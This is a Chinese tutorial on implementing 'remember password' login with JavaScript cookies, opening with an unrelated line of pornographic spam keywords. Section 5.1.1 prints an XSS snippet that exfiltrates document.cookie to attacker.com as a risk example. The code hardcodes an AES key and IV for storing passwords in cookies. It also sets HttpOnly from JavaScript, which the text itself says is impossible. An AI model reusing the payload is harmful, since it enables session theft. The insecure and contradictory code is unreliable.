欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

JavaScript操作Cookie實(shí)現(xiàn)登錄記住密碼功能

 更新時間:2025年09月16日 10:13:46   作者:Emmamkq~~  
在網(wǎng)頁開發(fā)中,記住密碼功能常通過瀏覽器的Cookie機(jī)制實(shí)現(xiàn),本文詳細(xì)講解了使用JavaScript設(shè)置和讀取Cookie的方法,包?括創(chuàng)建鍵值對、設(shè)置過期時間、路徑域及解析讀取流程,需要的朋友可以參考下

簡介:在網(wǎng)頁開發(fā)中,“記住密碼”功能常通過瀏覽器的Cookie機(jī)制實(shí)現(xiàn)。本文詳細(xì)講解了使用JavaScript設(shè)置和讀取Cookie的方法,包 括創(chuàng)建鍵值對、設(shè)置過期時間、路徑域及解析讀取流程。同時,文章還提供了完整的實(shí)現(xiàn)示例,并強(qiáng)調(diào)了安全性問題,如密碼加密存儲和HTTPS傳輸?shù)谋匾?。通過本文學(xué)習(xí),開發(fā)者可掌握使用JS操作Cookie實(shí)現(xiàn)登錄時記住密碼的核心功能,提升用戶體驗。

1. Cookie基礎(chǔ)概念與作用

Cookie 是 Web 開發(fā)中用于在客戶端(瀏覽器)存儲小量數(shù)據(jù)的一種機(jī)制。它由服務(wù)器通過 HTTP 響應(yīng)頭設(shè)置,并在后續(xù)請求中由瀏覽器自動攜帶發(fā)送至服務(wù)器。Cookie 通常用于保存用戶身份、會話狀態(tài)或個性化設(shè)置。其結(jié)構(gòu)包含名稱(name)、值(value)、過期時間(expires)、路徑(path)、域名(domain)以及安全標(biāo)志(secure、HttpOnly)等屬性。在“記住密碼”等用戶狀態(tài)保持場景中,Cookie 發(fā)揮著關(guān)鍵作用,為前端實(shí)現(xiàn)自動登錄提供了基礎(chǔ)支持。

2. 使用JavaScript設(shè)置Cookie

在現(xiàn)代 Web 開發(fā)中,Cookie 仍然是維護(hù)用戶狀態(tài)和實(shí)現(xiàn)“記住密碼”等功能的重要工具。JavaScript 作為前端交互的核心語言,提供了直接操作 Cookie 的能力。本章將深入探討如何使用 JavaScript 設(shè)置 Cookie,包括基本語法格式、動態(tài)創(chuàng)建方式以及安全屬性的設(shè)置策略,為后續(xù)實(shí)現(xiàn)“記住密碼”功能提供堅實(shí)的技術(shù)支撐。

2.1 Cookie的基本語法格式

Cookie 是一段文本數(shù)據(jù),存儲在用戶的瀏覽器中,通常以鍵值對的形式存在。瀏覽器在每次向服務(wù)器發(fā)送請求時,都會自動攜帶相關(guān)的 Cookie 數(shù)據(jù)。

2.1.1 設(shè)置Cookie的鍵值對

在 JavaScript 中,設(shè)置 Cookie 的最基礎(chǔ)方式是通過 document.cookie 屬性進(jìn)行賦值。其基本格式如下:

document.cookie = "key=value";

其中:

  • - key 是 Cookie 的名稱;
  • - value 是 Cookie 的值。

例如:

document.cookie = "username=admin";

這段代碼會創(chuàng)建一個名為 username 的 Cookie,值為 admin 。

需要注意的是, document.cookie 是一個特殊的屬性,它既可以讀取也可以寫入。每次寫入操作都會添加一個新的 Cookie 或者更新已有 Cookie。

2.1.2 設(shè)置過期時間、路徑和域名

默認(rèn)情況下,Cookie 是會話 Cookie,瀏覽器關(guān)閉后就會被刪除。若希望 Cookie 在關(guān)閉瀏覽器后仍然存在,需要設(shè)置 expires max-age 屬性。此外,還可以設(shè)置路徑( path )和域名( domain )來控制 Cookie 的作用范圍。

示例代碼如下:

document.cookie = "username=admin; expires=Thu, 31 Dec 2025 23:59:59 GMT; path=/; domain=example.com";
參數(shù)說明:
屬性名說明
expires Cookie 的過期時間,格式為 GMT 時間字符串
max-age Cookie 的最大生存時間(秒),優(yōu)先級高于  expires 
path Cookie 的作用路徑,如  /  表示整個網(wǎng)站
domain Cookie 的作用域名,如  .example.com  表示子域共享
secure 表示 Cookie 只能通過 HTTPS 協(xié)議傳輸
HttpOnly 表示 Cookie 不能被 JavaScript 訪問

注意 :多個 Cookie 屬性之間用分號分隔,順序不影響解析。

2.2 使用JavaScript動態(tài)創(chuàng)建Cookie

在實(shí)際開發(fā)中,通常需要根據(jù)用戶行為或系統(tǒng)狀態(tài)動態(tài)創(chuàng)建 Cookie。這就要求我們能夠根據(jù)變量構(gòu)建完整的 Cookie 字符串,并將其寫入 document.cookie 。

2.2.1 構(gòu)建完整的Cookie字符串

為了提高可讀性和靈活性,我們可以編寫一個函數(shù),用于構(gòu)建完整的 Cookie 字符串。

function createCookie(name, value, days, path = '/', domain = '', secure = false) {
    let cookieString = `${encodeURIComponent(name)}=${encodeURIComponent(value)}`;
    if (days) {
        const date = new Date();
        date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000));
        cookieString += `; expires=${date.toUTCString()}`;
    }
    cookieString += `; path=${path}`;
    if (domain) {
        cookieString += `; domain=${domain}`;
    }
    if (secure) {
        cookieString += `; secure`;
    }
    return cookieString;
}

代碼邏輯分析:

  1. 編碼處理 :使用 encodeURIComponent 對鍵和值進(jìn)行編碼,防止特殊字符引發(fā)問題。
  2. 過期時間處理 :如果傳入 days 參數(shù),就計算未來的過期時間并拼接到字符串中。
  3. 路徑與域名 :根據(jù)參數(shù)添加 path domain 。
  4. 安全屬性 :如果 secure true ,添加 secure 屬性。

示例調(diào)用:

const cookie = createCookie("rememberMe", "true", 7, '/', 'example.com', true);
document.cookie = cookie;

此調(diào)用將創(chuàng)建一個名為 rememberMe 的 Cookie,值為 true ,有效期為 7 天,作用路徑為整個網(wǎng)站,作用域為 example.com ,并通過 HTTPS 傳輸。

2.2.2 將Cookie寫入document.cookie屬性

寫入 Cookie 的操作非常簡單,只需將構(gòu)建好的字符串賦值給 document.cookie

document.cookie = cookie;

由于瀏覽器對 Cookie 的大小和數(shù)量有限制(通常單個域名最多 20 條 Cookie,每條不超過 4KB),因此在寫入時應(yīng)盡量精簡數(shù)據(jù)內(nèi)容,避免不必要的信息存儲。

技巧 :如果要設(shè)置多個 Cookie,建議多次調(diào)用  document.cookie = ...  而不是一次性寫入所有內(nèi)容。

2.3 設(shè)置安全屬性與加密策略

在實(shí)際應(yīng)用中,尤其是涉及用戶敏感信息如“記住密碼”時,必須對 Cookie 設(shè)置安全屬性和加密策略,以防止 Cookie 被竊取或篡改。

2.3.1 HttpOnly、Secure等屬性的作用

以下是常用的 Cookie 安全屬性及其作用:

屬性名作用描述
HttpOnly 防止跨站腳本攻擊(XSS),JavaScript 無法訪問該 Cookie
Secure Cookie 只能通過 HTTPS 協(xié)議傳輸,防止中間人攻擊
SameSite 控制 Cookie 是否隨跨站請求一起發(fā)送,緩解 CSRF 攻擊

注意 :  HttpOnly  和  SameSite  通常由后端設(shè)置,前端 JavaScript 無法設(shè)置這些屬性。

2.3.2 對密碼字段進(jìn)行加密處理后再寫入Cookie

出于安全考慮, 永遠(yuǎn)不要將明文密碼存儲在 Cookie 中 。正確的做法是對密碼字段進(jìn)行加密處理后再寫入。

示例:使用 AES 加密密碼字段

我們可以使用 JavaScript 的加密庫如 crypto-js 對數(shù)據(jù)進(jìn)行加密。

<script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js"></script>
function encryptData(data, secretKey) {
    return CryptoJS.AES.encrypt(data, secretKey).toString();
}

function decryptData(cipherText, secretKey) {
    const bytes = CryptoJS.AES.decrypt(cipherText, secretKey);
    return bytes.toString(CryptoJS.enc.Utf8);
}

示例調(diào)用:

const secretKey = "my-secret-key-123";
const password = "user_password_123";
const encryptedPassword = encryptData(password, secretKey);

// 寫入 Cookie
const cookie = createCookie("rememberPassword", encryptedPassword, 7, '/', 'example.com', true);
document.cookie = cookie;

這樣寫入的 Cookie 中保存的是加密后的密碼數(shù)據(jù),即使 Cookie 被竊取,攻擊者也無法直接獲取明文密碼。

注意 :密鑰(secretKey)不應(yīng)硬編碼在客戶端,應(yīng)由服務(wù)器端動態(tài)生成并通過安全通道傳輸。

小結(jié)與過渡

本章系統(tǒng)地介紹了使用 JavaScript 設(shè)置 Cookie 的方式,從基礎(chǔ)語法到動態(tài)構(gòu)建 Cookie 字符串,再到安全屬性的配置與數(shù)據(jù)加密策略。這些內(nèi)容為后續(xù)實(shí)現(xiàn)“記住密碼”功能提供了完整的技術(shù)支持。

下一章將深入探討如何使用 JavaScript 讀取 Cookie 數(shù)據(jù),并解析其結(jié)構(gòu),以實(shí)現(xiàn)自動登錄等實(shí)際功能。

3. JavaScript讀取Cookie的方法

在Web開發(fā)中,Cookie不僅用于寫入數(shù)據(jù),更關(guān)鍵的是如何在后續(xù)請求中正確讀取這些數(shù)據(jù)。本章將深入講解JavaScript如何從瀏覽器中讀取Cookie,解析其中的鍵值對,并結(jié)合實(shí)際應(yīng)用場景(如自動登錄)演示如何高效提取特定值。

3.1 從  document.cookie  中獲取數(shù)據(jù)

在瀏覽器環(huán)境中,JavaScript可以通過 document.cookie 屬性訪問當(dāng)前頁面的Cookie信息。這個屬性返回的是一個字符串,包含所有與當(dāng)前頁面匹配的Cookie鍵值對。理解其格式和解析方法是實(shí)現(xiàn)讀取邏輯的第一步。

3.1.1 Cookie字符串的獲取方式

JavaScript通過以下方式獲取當(dāng)前頁面的Cookie字符串:

const cookieString = document.cookie;
console.log(cookieString);

執(zhí)行上述代碼后, cookieString 將包含如下格式的字符串:

username=JohnDoe; remember=true; session_id=abc123xyz

逐行分析:

  • 第一行:使用 document.cookie 讀取瀏覽器中當(dāng)前頁面關(guān)聯(lián)的Cookie。
  • 第二行:打印獲取到的字符串,便于調(diào)試和驗證。

參數(shù)說明:

- document.cookie 是一個特殊的DOM屬性,只返回當(dāng)前域名、路徑和協(xié)議下可訪問的Cookie,受Same-Origin Policy限制。
- 返回值是多個鍵值對,用分號加空格分隔。

3.1.2 分割與解析Cookie字符串

為了便于操作,通常需要將Cookie字符串轉(zhuǎn)換為鍵值對對象。以下是一個典型的解析方法:

function parseCookies(cookieString) {
    const cookies = {};
    if (!cookieString) return cookies;

    const pairs = cookieString.split('; ');
    pairs.forEach(pair => {
        const [key, value] = pair.split('=');
        cookies[key] = decodeURIComponent(value);
    });
    return cookies;
}

逐行分析:

  • 第1行:定義函數(shù) parseCookies ,接收一個Cookie字符串作為參數(shù)。
  • 第2行:初始化一個空對象 cookies ,用于存儲解析后的鍵值對。
  • 第3行:判斷輸入是否為空,防止后續(xù)操作出錯。
  • 第5行:使用 ; 作為分隔符將字符串拆分為鍵值對數(shù)組。
  • 第6~9行:遍歷每個鍵值對,按 = 分割鍵和值,并使用 decodeURIComponent 還原URL編碼。
  • 第10行:返回解析后的對象。

代碼執(zhí)行邏輯說明:

- 假設(shè)輸入為: username=JohnDoe; remember=true
- 輸出對象為:

{
    username: "JohnDoe",
    remember: "true"
}

3.1.3 示例:讀取并打印當(dāng)前所有Cookie

const cookieObj = parseCookies(document.cookie);
console.log(cookieObj);

輸出示例:

{
    username: "JohnDoe",
    remember: "true",
    session_id: "abc123xyz"
}

流程圖展示解析流程:

graph TD
    A[開始] --> B[獲取document.cookie字符串]
    B --> C{是否為空?}
    C -->|是| D[返回空對象]
    C -->|否| E[按"; "分割鍵值對]
    E --> F[遍歷每個鍵值對]
    F --> G[按"="分割鍵和值]
    G --> H[解碼值]
    H --> I[存入對象]
    I --> J[返回結(jié)果對象]

3.2 提取特定鍵值對的實(shí)現(xiàn)技巧

在實(shí)際應(yīng)用中,我們往往不需要讀取所有Cookie,而是希望根據(jù)鍵名提取特定值。例如,在實(shí)現(xiàn)“記住密碼”功能時,我們需要提取 remember username 字段。

3.2.1 遍歷Cookie鍵值對的方法

在前文的 parseCookies 函數(shù)基礎(chǔ)上,我們可以通過遍歷對象快速提取特定鍵的值:

function getCookieValue(key) {
    const cookies = parseCookies(document.cookie);
    return cookies[key] || null;
}

逐行分析:

  • 第1行:定義函數(shù) getCookieValue ,接收一個鍵名作為參數(shù)。
  • 第2行:調(diào)用 parseCookies 函數(shù)將Cookie字符串解析為對象。
  • 第3行:返回對象中對應(yīng)鍵的值,若不存在則返回 null 。

使用示例:

const username = getCookieValue('username');
console.log(`當(dāng)前用戶名:${username}`);

輸出示例:

當(dāng)前用戶名:JohnDoe

3.2.2 使用正則表達(dá)式提取目標(biāo)值

如果不使用對象解析方式,也可以直接通過正則表達(dá)式提取特定鍵的值。這種方式在性能要求較高的場景下可能更高效。

function getCookieValueByRegex(key) {
    const match = document.cookie.match(new RegExp(`(^| )${key}=([^;]+)`));
    return match ? decodeURIComponent(match[2]) : null;
}

逐行分析:

  • 第1行:定義函數(shù) getCookieValueByRegex ,接收鍵名作為參數(shù)。
  • 第2行:使用正則表達(dá)式匹配鍵值對。 (^| ) 表示鍵名前可以是字符串開始或空格,確保匹配準(zhǔn)確。
  • 第3行:如果匹配成功,返回解碼后的值;否則返回 null

參數(shù)說明:

- 正則表達(dá)式中的 ([^;]+) 表示匹配非分號字符,直到遇到分號為止。
- match[2] 表示第二個捕獲組,即值部分。

使用示例:

const remember = getCookieValueByRegex('remember');
console.log(`是否記住密碼:${remember}`);

輸出示例:

是否記住密碼:true

3.2.3 性能對比:對象解析 vs 正則提取

方法優(yōu)點(diǎn)缺點(diǎn)適用場景
對象解析邏輯清晰,便于后續(xù)多鍵操作會解析全部Cookie需要多次讀取多個鍵
正則提取速度快,按需提取代碼復(fù)雜度高僅需讀取一個鍵

結(jié)論:

- 若需要多次讀取多個Cookie鍵,建議使用對象解析方式。
- 若只需提取一個特定鍵,正則表達(dá)式更高效。

3.3 將Cookie值用于用戶自動登錄

在“記住密碼”功能中,前端讀取Cookie中的用戶名和加密密碼字段,并在頁面加載時自動填充表單,實(shí)現(xiàn)自動登錄。這一過程需要結(jié)合讀取Cookie與表單操作。

3.3.1 檢查是否存在“記住密碼”標(biāo)記

通常我們會使用一個 remember 字段來標(biāo)識用戶是否啟用了“記住密碼”功能。在頁面加載時檢查該標(biāo)記:

function isRememberMeEnabled() {
    return getCookieValue('remember') === 'true';
}

邏輯說明:

- 調(diào)用 getCookieValue 函數(shù)讀取 remember 字段。
- 判斷其值是否為字符串 "true" ,返回布爾值。

使用示例:

if (isRememberMeEnabled()) {
    console.log("用戶啟用了記住密碼功能");
    // 繼續(xù)執(zhí)行自動登錄邏輯
} else {
    console.log("用戶未啟用記住密碼");
}

3.3.2 自動填充用戶名與解密密碼

當(dāng)檢測到“記住密碼”啟用后,可以讀取用戶名和加密后的密碼字段,并將其填充到登錄表單中。

function autoFillLoginForm() {
    if (!isRememberMeEnabled()) return;

    const username = getCookieValue('username');
    const encryptedPassword = getCookieValue('password');

    if (username && encryptedPassword) {
        const password = decryptPassword(encryptedPassword); // 假設(shè)存在解密函數(shù)
        document.getElementById('username').value = username;
        document.getElementById('password').value = password;
        document.getElementById('remember').checked = true;
    }
}

逐行分析:

  • 第1~2行:檢查是否啟用記住密碼功能,若未啟用則直接返回。
  • 第4~5行:讀取用戶名和加密密碼字段。
  • 第7行:調(diào)用解密函數(shù)(此處假設(shè)存在 decryptPassword 函數(shù))還原原始密碼。
  • 第8~11行:填充表單字段并設(shè)置“記住密碼”復(fù)選框為已選狀態(tài)。

3.3.3 示例:頁面加載時自動填充

在頁面加載完成后調(diào)用 autoFillLoginForm 函數(shù):

<body onload="autoFillLoginForm()">
    <form id="loginForm">
        <input type="text" id="username" placeholder="用戶名">
        <input type="password" id="password" placeholder="密碼">
        <label><input type="checkbox" id="remember"> 記住密碼</label>
        <button type="submit">登錄</button>
    </form>
</body>

注意事項:
- 實(shí)際開發(fā)中,密碼字段不應(yīng)直接存儲明文,而應(yīng)使用加密或Token機(jī)制。
- 前端解密邏輯應(yīng)與后端加密算法一致,如使用AES加密、Base64編碼等。

3.3.4 表格:自動登錄相關(guān)字段說明

字段名類型用途說明是否必須
usernamestring存儲用戶登錄名
passwordstring存儲加密后的密碼
rememberboolean標(biāo)記是否啟用“記住密碼”功能
session_idstring可選,用于會話狀態(tài)跟蹤

通過本章內(nèi)容,我們掌握了如何使用JavaScript讀取瀏覽器中的Cookie,解析其結(jié)構(gòu),并提取特定鍵值對。同時結(jié)合實(shí)際場景,展示了如何將Cookie用于用戶自動登錄功能的實(shí)現(xiàn)。下一章將進(jìn)一步介紹“記住密碼”功能的完整實(shí)現(xiàn)流程,包括前后端協(xié)同處理邏輯與安全機(jī)制設(shè)計。

4. “記住密碼”功能的完整實(shí)現(xiàn)流程

在現(xiàn)代Web應(yīng)用中,“記住密碼”功能已成為提升用戶體驗的重要一環(huán)。它允許用戶在登錄后,選擇將賬號信息(尤其是密碼)保存在本地瀏覽器中,以便下次訪問時自動填充登錄表單。然而,實(shí)現(xiàn)這一功能不僅需要前端邏輯的精心設(shè)計,還必須兼顧安全性與隱私保護(hù)。本章將從功能需求分析、前端實(shí)現(xiàn)流程、自動填充邏輯到安全策略的集成,系統(tǒng)性地解析“記住密碼”功能的完整實(shí)現(xiàn)路徑。

4.1 功能需求與業(yè)務(wù)流程分析

4.1.1 用戶勾選“記住密碼”的觸發(fā)邏輯

在登錄頁面中,通常會提供一個復(fù)選框(checkbox)讓用戶選擇是否“記住密碼”。該復(fù)選框的選中狀態(tài)決定了是否將用戶輸入的賬號和密碼保存至瀏覽器的 document.cookie 中。

功能邏輯流程圖如下:

graph TD
    A[用戶輸入賬號密碼] --> B{是否勾選"記住密碼"?}
    B -- 是 --> C[將用戶名與加密密碼寫入Cookie]
    B -- 否 --> D[不保存信息,僅當(dāng)前會話使用]
    C --> E[設(shè)置Cookie過期時間]
    D --> F[登錄成功后不保留憑證]

說明:

  • 用戶完成登錄后,系統(tǒng)會根據(jù)用戶的勾選狀態(tài)決定是否執(zhí)行 Cookie 寫入操作。
  • 若勾選,則需要將用戶名與加密后的密碼寫入 Cookie,并設(shè)置合理的過期時間。
  • 若未勾選,則僅在本次會話中保持登錄狀態(tài),關(guān)閉瀏覽器后自動清除憑證。

4.1.2 登錄成功后Cookie的寫入流程

登錄流程的核心是驗證用戶身份。當(dāng)用戶提交登錄表單后,系統(tǒng)首先向服務(wù)器發(fā)起驗證請求。若驗證通過,則根據(jù)用戶是否勾選“記住密碼”來決定是否寫入 Cookie。

流程圖如下:

graph TD
    G[提交登錄表單] --> H[發(fā)送登錄請求]
    H --> I{服務(wù)器驗證成功?}
    I -- 是 --> J{用戶是否勾選"記住密碼"?}
    J -- 是 --> K[寫入加密的用戶名與密碼到Cookie]
    J -- 否 --> L[僅保持會話狀態(tài)]
    I -- 否 --> M[提示登錄失敗]

關(guān)鍵點(diǎn):

- 登錄成功后寫入 Cookie 是關(guān)鍵步驟,必須確保密碼字段經(jīng)過加密處理。
- Cookie 的過期時間建議設(shè)置為7天或30天,避免長期暴露敏感信息。

4.2 前端代碼實(shí)現(xiàn)與事件綁定

4.2.1 表單提交事件與勾選狀態(tài)監(jiān)聽

為了實(shí)現(xiàn)“記住密碼”功能,我們需要監(jiān)聽登錄表單的提交事件,并獲取用戶是否勾選了“記住密碼”。

<form id="loginForm">
  <input type="text" id="username" placeholder="用戶名">
  <input type="password" id="password" placeholder="密碼">
  <label><input type="checkbox" id="rememberMe"> 記住密碼</label>
  <button type="submit">登錄</button>
</form>
document.getElementById('loginForm').addEventListener('submit', function (e) {
  e.preventDefault(); // 阻止默認(rèn)提交行為

  const username = document.getElementById('username').value;
  const password = document.getElementById('password').value;
  const rememberMe = document.getElementById('rememberMe').checked;

  // 模擬發(fā)送登錄請求
  login(username, password, rememberMe);
});

邏輯分析:

  • e.preventDefault() 阻止了默認(rèn)的表單提交行為,以便我們進(jìn)行自定義邏輯處理。
  • 獲取用戶輸入的用戶名、密碼以及是否勾選“記住密碼”狀態(tài)。
  • 調(diào)用 login() 函數(shù)模擬向服務(wù)器發(fā)送登錄請求。

4.2.2 用戶名與加密密碼的存儲邏輯

當(dāng)用戶勾選“記住密碼”并登錄成功后,我們需要將用戶名和加密后的密碼寫入 Cookie。

function setRememberMeCookie(username, encryptedPassword) {
  const expires = new Date();
  expires.setTime(expires.getTime() + 7 * 24 * 60 * 60 * 1000); // 設(shè)置7天過期時間

  document.cookie = `username=${encodeURIComponent(username)}; expires=${expires.toUTCString()}; path=/`;
  document.cookie = `password=${encodeURIComponent(encryptedPassword)}; expires=${expires.toUTCString()}; path=/`;
}

參數(shù)說明:

  • username :明文用戶名,可以不加密。
  • encryptedPassword :加密后的密碼字符串,建議使用 AES 或 Base64 編碼。
  • expires :Cookie 的過期時間,本例設(shè)置為7天。
  • path=/ :確保 Cookie 在整個網(wǎng)站路徑下可用。

邏輯解讀:

  • 使用 encodeURIComponent() 對用戶名和密碼進(jìn)行編碼,防止特殊字符導(dǎo)致解析錯誤。
  • 設(shè)置 Cookie 的 expires 屬性,使其在指定時間后失效。
  • 將用戶名與加密密碼分別作為兩個 Cookie 存儲,便于后續(xù)讀取。

4.3 頁面加載時的自動填充邏輯

4.3.1 頁面加載時讀取Cookie內(nèi)容

在用戶訪問登錄頁面時,如果之前選擇了“記住密碼”,我們應(yīng)嘗試從 Cookie 中讀取用戶名與密碼,并自動填充表單。

function getCookie(name) {
  const cookies = document.cookie.split('; ');
  for (let cookie of cookies) {
    const [key, value] = cookie.split('=');
    if (key === name) {
      return decodeURIComponent(value);
    }
  }
  return null;
}

function autoFillLoginForm() {
  const username = getCookie('username');
  const encryptedPassword = getCookie('password');

  if (username && encryptedPassword) {
    document.getElementById('username').value = username;
    document.getElementById('password').value = decryptPassword(encryptedPassword);
    document.getElementById('rememberMe').checked = true;
  }
}

函數(shù)說明:

  • getCookie(name) :用于從 document.cookie 中讀取指定鍵名的 Cookie 值。
  • autoFillLoginForm() :在頁面加載時調(diào)用,嘗試自動填充用戶名與密碼。

4.3.2 判斷是否啟用自動登錄功能

雖然我們可以自動填充表單,但是否直接自動登錄取決于業(yè)務(wù)邏輯需求。有些網(wǎng)站會在檢測到 Cookie 存在時自動跳轉(zhuǎn)到主頁,而有些則僅自動填充。

window.addEventListener('load', function () {
  autoFillLoginForm();

  // 自動登錄邏輯(可選)
  if (getCookie('rememberMe') && getCookie('token')) {
    window.location.href = '/dashboard';
  }
});

說明:

  • 如果用戶選擇了“記住密碼”并保留了有效的 Token,可以直接跳轉(zhuǎn)到主頁,實(shí)現(xiàn)“自動登錄”。
  • 否則,僅自動填充表單,等待用戶手動提交。

4.4 安全與隱私保護(hù)措施集成

4.4.1 敏感信息的加密存儲策略

將明文密碼直接寫入 Cookie 是極不安全的做法。因此,必須對密碼進(jìn)行加密處理。

// 示例:使用 CryptoJS AES 加密
function encryptPassword(password) {
  const key = CryptoJS.enc.Utf8.parse('1234567812345678');
  const iv = CryptoJS.enc.Utf8.parse('1234567812345678');
  const encrypted = CryptoJS.AES.encrypt(password, key, { iv: iv, mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.Pkcs7 });
  return encrypted.toString();
}

// 解密函數(shù)
function decryptPassword(encryptedPassword) {
  const key = CryptoJS.enc.Utf8.parse('1234567812345678');
  const iv = CryptoJS.enc.Utf8.parse('1234567812345678');
  const decrypted = CryptoJS.AES.decrypt(encryptedPassword, key, { iv: iv, mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.Pkcs7 });
  return decrypted.toString(CryptoJS.enc.Utf8);
}

加密策略分析:

加密方式優(yōu)點(diǎn)缺點(diǎn)
AES安全性高,廣泛使用需要密鑰管理
Base64簡單易用非加密,僅編碼
RSA支持非對稱加密性能較差,不適合前端處理

4.4.2 HTTPS協(xié)議對Cookie傳輸?shù)谋Wo(hù)作用

為了防止 Cookie 在傳輸過程中被中間人攻擊(MITM),必須使用 HTTPS 協(xié)議進(jìn)行加密通信。

Cookie 安全屬性設(shè)置建議:

屬性用途說明
Secure僅通過 HTTPS 傳輸 Cookie
HttpOnly防止 XSS 攻擊讀取 Cookie
SameSite防止 CSRF 攻擊

修改寫入 Cookie 的代碼以包含安全屬性:

document.cookie = `password=${encodeURIComponent(encryptedPassword)}; expires=${expires.toUTCString()}; path=/; Secure; HttpOnly; SameSite=Strict`;

說明:

  • Secure :確保 Cookie 只能通過 HTTPS 發(fā)送。
  • HttpOnly :防止 JavaScript 腳本訪問 Cookie,避免 XSS 攻擊。
  • SameSite :防止跨站請求偽造(CSRF)攻擊。

總結(jié)與延伸:

在實(shí)現(xiàn)“記住密碼”功能時,開發(fā)者不僅要關(guān)注功能的可用性,更要注重安全性。從表單事件綁定、Cookie 寫入與讀取,到加密策略和 HTTPS 安全傳輸,每一步都需要謹(jǐn)慎處理。此外,還可以結(jié)合服務(wù)器端 Token 驗證機(jī)制(如 JWT),構(gòu)建更安全的“記住我”流程。下一章將深入探討客戶端與服務(wù)器端的協(xié)同驗證機(jī)制,進(jìn)一步完善整個登錄系統(tǒng)的安全性與可靠性。

5. 客戶端與服務(wù)器端的協(xié)同驗證機(jī)制

在現(xiàn)代Web應(yīng)用中,“記住密碼”功能雖然提升了用戶體驗,但其安全性必須由客戶端與服務(wù)器端協(xié)同保障。本章將深入探討Cookie在客戶端使用中的局限性,分析服務(wù)器端如何參與驗證機(jī)制,并設(shè)計更安全的持久化登錄方案,同時滿足用戶隱私保護(hù)和合規(guī)性要求。

5.1 客戶端Cookie的局限性與風(fēng)險

盡管Cookie在Web開發(fā)中被廣泛使用,但其本身存在一些固有的局限性與安全隱患:

5.1.1 Cookie易被篡改或竊取

Cookie以明文形式存儲在客戶端,攻擊者可以通過XSS(跨站腳本攻擊)等方式竊取用戶的Cookie信息,進(jìn)而偽裝成該用戶進(jìn)行非法操作。

示例:XSS注入竊取Cookie

<!-- 惡意腳本 -->
<script>
    document.write('<img src="http://attacker.com/steal?cookie=' + document.cookie + '">');
</script>

此腳本會將用戶的Cookie信息發(fā)送到攻擊者服務(wù)器。

5.1.2 單純依賴Cookie的安全隱患

如果“記住密碼”功能僅依賴于Cookie中的用戶名和加密密碼,一旦Cookie被竊取,攻擊者可以繞過登錄流程直接獲取用戶權(quán)限。因此,必須引入服務(wù)端驗證機(jī)制來增強(qiáng)安全性。

5.2 服務(wù)器端對“記住密碼”功能的支持

為了提升“記住密碼”功能的安全性,服務(wù)端需要參與驗證流程,避免客戶端存儲敏感信息。

5.2.1 服務(wù)端驗證Cookie合法性

服務(wù)端可以在每次請求中驗證Cookie中攜帶的令牌是否有效。例如,客戶端在“記住我”功能中存儲一個加密的Token,服務(wù)端維護(hù)一個Token映射表進(jìn)行比對。

// 示例:Node.js中驗證Token
const tokens = {}; // 假設(shè)這是一個數(shù)據(jù)庫映射表

function verifyToken(token) {
    const user = tokens[token];
    if (user && !isTokenExpired(user.expiresAt)) {
        return user;
    }
    return null;
}

function isTokenExpired(expireTime) {
    return new Date() > new Date(expireTime);
}

5.2.2 使用Token機(jī)制替代明文Cookie

相比在Cookie中存儲用戶名和密碼,更安全的做法是生成一個隨機(jī)Token,并將其存儲在服務(wù)端數(shù)據(jù)庫中。客戶端僅存儲該Token。

Set-Cookie: remember_token=abc123xyz; Path=/; Secure; HttpOnly

服務(wù)端通過該Token查找用戶信息,從而完成身份識別。

5.3 基于會話與持久化令牌的方案設(shè)計

為了實(shí)現(xiàn)安全的“記住密碼”功能,通常結(jié)合短期會話Token(Session Token)與長期持久化Token(Refresh Token)機(jī)制。

5.3.1 使用Refresh Token延長登錄狀態(tài)

  • Session Token :短期有效,用于API請求的身份驗證。
  • Refresh Token :長期有效,用于獲取新的Session Token。
graph TD
    A[用戶登錄] --> B{記住我選中?}
    B -- 是 --> C[生成Refresh Token]
    C --> D[存儲到數(shù)據(jù)庫]
    D --> E[返回Refresh Token給客戶端]
    B -- 否 --> F[生成短期Session Token]
    F --> G[設(shè)置Cookie]

5.3.2 Token的生成、驗證與失效機(jī)制

  • 生成Token :使用JWT(JSON Web Token)或UUID生成隨機(jī)字符串。
  • 驗證Token :服務(wù)端查詢數(shù)據(jù)庫或緩存系統(tǒng)(如Redis)驗證Token有效性。
  • Token失效 :設(shè)置過期時間或在用戶登出時主動刪除。
// 示例:生成JWT Token
const jwt = require('jsonwebtoken');

const token = jwt.sign({ userId: 123 }, 'secret_key', { expiresIn: '1d' });

5.4 用戶隱私保護(hù)與合規(guī)性要求

隨著GDPR、CCPA等隱私法規(guī)的實(shí)施,網(wǎng)站在使用Cookie時必須遵守相關(guān)法律,保護(hù)用戶隱私。

5.4.1 GDPR等隱私法規(guī)對Cookie使用的影響

根據(jù)GDPR規(guī)定,網(wǎng)站必須:

- 明確告知用戶使用Cookie的目的;
- 獲取用戶同意;
- 提供清除或禁用Cookie的選項。

5.4.2 提供用戶清除與禁用Cookie的選項

可以在前端提供一個“清除記憶”按鈕,調(diào)用API刪除服務(wù)端存儲的Token,并清除客戶端Cookie。

<button onclick="clearRememberMe()">清除記憶</button>
function clearRememberMe() {
    fetch('/api/auth/clear-remember', { method: 'POST', credentials: 'include' });
    document.cookie = "remember_token=; Path=/; Expires=Thu, 01 Jan 1970 00:00:00 GMT";
}

以上就是JavaScript操作Cookie實(shí)現(xiàn)登錄記住密碼功能的詳細(xì)內(nèi)容,更多關(guān)于JavaScript Cookie登錄記住密碼的資料請關(guān)注腳本之家其它相關(guān)文章!

相關(guān)文章

  • uniapp微信小程序訂閱消息發(fā)送服務(wù)通知超詳細(xì)教程

    uniapp微信小程序訂閱消息發(fā)送服務(wù)通知超詳細(xì)教程

    在使用或開發(fā)小程序過程中,我們會發(fā)現(xiàn)消息通知是非常重要的一個環(huán)節(jié),下面這篇文章主要給大家介紹了關(guān)于uniapp微信小程序訂閱消息發(fā)送服務(wù)通知的相關(guān)資料,需要的朋友可以參考下
    2023-06-06
  • JavaScript選取(picking)和反選(rejecting)對象的屬性方法

    JavaScript選取(picking)和反選(rejecting)對象的屬性方法

    這篇文章主要介紹了JavaScript選取(picking)和反選(rejecting)對象的屬性方法的相關(guān)資料,需要的朋友可以參考下
    2017-08-08
  • JavaScript 垃圾回收機(jī)制分析

    JavaScript 垃圾回收機(jī)制分析

